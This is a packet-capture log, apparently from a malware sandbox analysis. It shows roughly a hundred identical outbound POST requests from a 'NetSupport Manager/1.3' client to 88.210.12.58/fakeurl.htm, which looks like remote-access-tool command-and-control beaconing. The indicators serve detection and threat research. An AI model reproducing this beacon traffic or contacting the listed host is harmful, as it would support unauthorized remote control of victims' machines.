Dec 6, 2024 10:40:57.884603024 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:57.985685110 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:58.089442015 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:58.189440012 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:58.289443016 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:58.386599064 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:58.486603022 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:58.589426994 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:58.688575983 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:58.789613008 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:58.890640974 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:58.993446112 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:59.091624022 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:59.192572117 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:59.292664051 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:59.393623114 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:59.493613005 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:59.593628883 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:59.694578886 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:59.795592070 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:59.895612001 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:59.995605946 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:00.097475052 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:00.196583033 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:00.296576023 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:00.396584988 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:00.497128010 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:00.596581936 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:00.701452017 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:00.798620939 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:00.900217056 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:01.003901958 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:01.100624084 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:01.201656103 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:01.302618027 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:01.402654886 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:01.503710985 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:01.603574038 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:01.704631090 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:01.804641008 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:01.905577898 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:02.005585909 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:02.109452009 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:02.206629992 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:02.307702065 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:02.409441948 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:02.508588076 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:02.608675957 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:02.713469028 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:02.809639931 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:02.913450956 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:03.019874096 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:03.430593014 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:03.531702042 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:03.632632017 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:03.733613014 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:03.834644079 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:03.934650898 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:04.034621000 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:04.135627031 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:04.237468004 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:04.337748051 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:04.438647985 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:04.541671038 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:04.641463995 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:04.741492987 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:04.841461897 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:04.941618919 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:05.041642904 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:05.141645908 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:05.242639065 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:05.343662977 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:05.443618059 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:05.543648005 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:05.643682003 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:05.744635105 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:05.844650030 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:05.944653034 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:06.045649052 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:06.146608114 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:06.246612072 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:06.347603083 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:06.449484110 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:06.547631979 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:06.649477005 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:06.749469995 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:06.849478960 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:06.949724913 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:07.053473949 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:07.150625944 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:07.251666069 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:07.351690054 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:07.452739000 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
